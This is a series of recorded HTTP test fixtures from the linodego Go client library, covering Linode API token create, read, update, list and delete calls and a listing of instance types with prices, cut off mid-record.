Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:29:09 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestToken_GetFound.yaml000066400000000000000000000115271474652371000311710ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-token-test","scopes":"linodes:read_only","expiry":"2024-07-09T13:29:58"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens method: POST response: body: '{"id": 57288262, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "14f8c7b07c53ac5eba483ecd0b253e21779ae28fd953e620b5d3bcb78001058b", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:27:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/57288262 method: GET response: body: '{"id": 57288262, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "14f8c7b07c53ac5e", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "175" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:27:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/57288262 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:27:58 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestToken_GetMissing.yaml000066400000000000000000000022061474652371000315210ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/123 method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:27:58 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestToken_GetNoExpiry.yaml000066400000000000000000000115061474652371000316700ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-token-test","scopes":"linodes:read_only","expiry":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens method: POST response: body: '{"id": 57288263, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "8d1eea7c8fbc1e47e857abec01adee3368ef68d97d7b94556c349a6e8ed325c4", "expiry": "2999-12-12T05:00:00"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:27:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/57288263 method: GET response: body: '{"id": 57288263, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "8d1eea7c8fbc1e47", "expiry": "2999-12-12T05:00:00"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "175" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:27:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/57288263 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:27:59 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestTokens_List.yaml000066400000000000000000000120531474652371000305470ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-token-test","scopes":"linodes:read_only","expiry":"2024-07-09T13:30:00"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens method: POST response: body: '{"id": 57288265, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "1043c72081856d48850ecfc614f88aeccb86272b3987441700b71b43e2698ead", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:28:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens?page=1 method: GET response: body: '{"data": [{"id": 56990571, "scopes": "*", "created": "2018-01-02T03:04:05", "label": "token", "token": "9853aa8891ad9fe2", "expiry": "2018-01-02T03:04:05"}, {"id": 57288265, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "1043c72081856d48", "expiry": "2018-01-02T03:04:05"}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "371" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:28:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/57288265 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:28:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestTokens_Update.yaml000066400000000000000000000115551474652371000310640ustar00rootroot00000000000000--- version: 1 interactions: - request: body: '{"label":"linodego-token-test","scopes":"linodes:read_only","expiry":"2024-07-09T13:29:59"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens method: POST response: body: '{"id": 57288264, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test", "token": "d32f5be4cbb4abe8da42ed3f9cdf14814a4363b262c2a62174dc117ea8a98096", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "223" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:28:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"linodego-token-test_renamed"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/57288264 method: PUT response: body: '{"id": 57288264, "scopes": "linodes:read_only", "created": "2018-01-02T03:04:05", "label": "linodego-token-test_renamed", "token": "d32f5be4cbb4abe8", "expiry": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "183" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:28:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/profile/tokens/57288264 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Tue, 09 Jul 2024 13:28:00 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestType_GetFound.yaml000066400000000000000000000041211474652371000310220ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types/g6-standard-1 method: GET response: body: '{"id": "g6-standard-1", "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.022, "monthly": 14.4}, {"id": "br-gru", "hourly": 0.025, "monthly": 16.8}], "addons": {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}, "region_prices": [{"id": "id-cgk", "hourly": 0.0045, "monthly": 3.0}, {"id": "br-gru", "hourly": 0.005, "monthly": 3.5}]}}, "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": "standard", "successor": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "538" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:32:53 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestType_GetMissing.yaml000066400000000000000000000022541474652371000313650ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types/does-not-exist method: GET response: body: '{"errors": [{"reason": "Not found"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "37" Content-Type: - application/json Expires: - Thu, 11 Jul 2024 18:32:53 GMT Pragma: - no-cache Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 404 Not Found code: 404 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestTypes_List.yaml000066400000000000000000000542251474652371000304170ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/types?page=1 method: GET response: body: '{"data": [{"id": "g6-nanode-1", "label": "Nanode 1GB", "price": {"hourly": 0.0075, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.0105, "monthly": 7.0}], "addons": {"backups": {"price": {"hourly": 0.003, "monthly": 2.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.0036, "monthly": 2.4}, {"id": "br-gru", "hourly": 0.004, "monthly": 2.8}]}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": 1, "gpus": 0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": "g6-standard-1", "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.022, "monthly": 14.4}, {"id": "br-gru", "hourly": 0.025, "monthly": 16.8}], "addons": {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}, "region_prices": [{"id": "id-cgk", "hourly": 0.0045, "monthly": 3.0}, {"id": "br-gru", "hourly": 0.005, "monthly": 3.5}]}}, "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": "standard", "successor": null}, {"id": "g6-standard-2", "label": "Linode 4GB", "price": {"hourly": 0.036, "monthly": 24.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.043, "monthly": 28.8}, {"id": "br-gru", "hourly": 0.05, "monthly": 33.6}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", "successor": null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.072, "monthly": 48.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.086, "monthly": 57.6}, {"id": "br-gru", "hourly": 0.101, "monthly": 67.2}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "standard", "successor": null}, {"id": "g6-standard-6", "label": "Linode 16GB", "price": {"hourly": 0.144, "monthly": 96.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.173, "monthly": 115.2}, {"id": "br-gru", "hourly": 0.202, "monthly": 134.4}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 16384, "disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": 0, "network_out": 6000, "class": "standard", "successor": null}, {"id": "g6-standard-8", "label": "Linode 32GB", "price": {"hourly": 0.288, "monthly": 192.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.346, "monthly": 230.4}, {"id": "br-gru", "hourly": 0.403, "monthly": 268.8}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 32768, "disk": 655360, "transfer": 16000, "vcpus": 8, "gpus": 0, "network_out": 7000, "class": "standard", "successor": null}, {"id": "g6-standard-16", "label": "Linode 64GB", "price": {"hourly": 0.576, "monthly": 384.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.691, "monthly": 460.8}, {"id": "br-gru", "hourly": 0.806, "monthly": 537.6}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 65536, "disk": 1310720, "transfer": 20000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "standard", "successor": null}, {"id": "g6-standard-20", "label": "Linode 96GB", "price": {"hourly": 0.864, "monthly": 576.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.037, "monthly": 691.2}, {"id": "br-gru", "hourly": 1.21, "monthly": 806.4}], "addons": {"backups": {"price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}]}}, "memory": 98304, "disk": 1966080, "transfer": 20000, "vcpus": 20, "gpus": 0, "network_out": 10000, "class": "standard", "successor": null}, {"id": "g6-standard-24", "label": "Linode 128GB", "price": {"hourly": 1.152, "monthly": 768.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.382, "monthly": 921.6}, {"id": "br-gru", "hourly": 1.613, "monthly": 1075.2}], "addons": {"backups": {"price": {"hourly": 0.24, "monthly": 160.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.288, "monthly": 192.0}, {"id": "br-gru", "hourly": 0.336, "monthly": 224.0}]}}, "memory": 131072, "disk": 2621440, "transfer": 20000, "vcpus": 24, "gpus": 0, "network_out": 11000, "class": "standard", "successor": null}, {"id": "g6-standard-32", "label": "Linode 192GB", "price": {"hourly": 1.728, "monthly": 1152.0}, "region_prices": [{"id": "id-cgk", "hourly": 2.074, "monthly": 1382.4}, {"id": "br-gru", "hourly": 2.419, "monthly": 1612.8}], "addons": {"backups": {"price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}]}}, "memory": 196608, "disk": 3932160, "transfer": 20000, "vcpus": 32, "gpus": 0, "network_out": 12000, "class": "standard", "successor": null}, {"id": "g7-highmem-1", "label": "Linode 24GB", "price": {"hourly": 0.09, "monthly": 60.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.108, "monthly": 72.0}, {"id": "br-gru", "hourly": 0.126, "monthly": 84.0}], "addons": {"backups": {"price": {"hourly": 0.0075, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.0105, "monthly": 7.0}]}}, "memory": 24576, "disk": 20480, "transfer": 5000, "vcpus": 2, "gpus": 0, "network_out": 5000, "class": "highmem", "successor": null}, {"id": "g7-highmem-2", "label": "Linode 48GB", "price": {"hourly": 0.18, "monthly": 120.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.216, "monthly": 144.0}, {"id": "br-gru", "hourly": 0.252, "monthly": 168.0}], "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.018, "monthly": 12.0}, {"id": "br-gru", "hourly": 0.021, "monthly": 14.0}]}}, "memory": 49152, "disk": 40960, "transfer": 6000, "vcpus": 2, "gpus": 0, "network_out": 6000, "class": "highmem", "successor": null}, {"id": "g7-highmem-4", "label": "Linode 90GB", "price": {"hourly": 0.36, "monthly": 240.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.432, "monthly": 288.0}, {"id": "br-gru", "hourly": 0.504, "monthly": 336.0}], "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.036, "monthly": 24.0}, {"id": "br-gru", "hourly": 0.042, "monthly": 28.0}]}}, "memory": 92160, "disk": 92160, "transfer": 7000, "vcpus": 4, "gpus": 0, "network_out": 7000, "class": "highmem", "successor": null}, {"id": "g7-highmem-8", "label": "Linode 150GB", "price": {"hourly": 0.72, "monthly": 480.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.864, "monthly": 576.0}, {"id": "br-gru", "hourly": 1.008, "monthly": 672.0}], "addons": {"backups": {"price": {"hourly": 0.06, "monthly": 40.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.072, "monthly": 48.0}, {"id": "br-gru", "hourly": 0.084, "monthly": 56.0}]}}, "memory": 153600, "disk": 204800, "transfer": 8000, "vcpus": 8, "gpus": 0, "network_out": 8000, "class": "highmem", "successor": null}, {"id": "g7-highmem-16", "label": "Linode 300GB", "price": {"hourly": 1.44, "monthly": 960.0}, "region_prices": [{"id": "id-cgk", "hourly": 1.728, "monthly": 1152.0}, {"id": "br-gru", "hourly": 2.016, "monthly": 1344.0}], "addons": {"backups": {"price": {"hourly": 0.12, "monthly": 80.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.144, "monthly": 96.0}, {"id": "br-gru", "hourly": 0.168, "monthly": 112.0}]}}, "memory": 307200, "disk": 348160, "transfer": 9000, "vcpus": 16, "gpus": 0, "network_out": 9000, "class": "highmem", "successor": null}, {"id": "g6-dedicated-2", "label": "Dedicated 4GB", "price": {"hourly": 0.054, "monthly": 36.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.065, "monthly": 43.2}, {"id": "br-gru", "hourly": 0.076, "monthly": 50.4}], "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}, "region_prices": [{"id": "id-cgk", "hourly": 0.009, "monthly": 6.0}, {"id": "br-gru", "hourly": 0.01, "monthly": 7.0}]}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "dedicated", "successor": null}, {"id": "g6-dedicated-4", "label": "Dedicated 8GB", "price": {"hourly": 0.108, "monthly": 72.0}, "region_prices": [{"id": 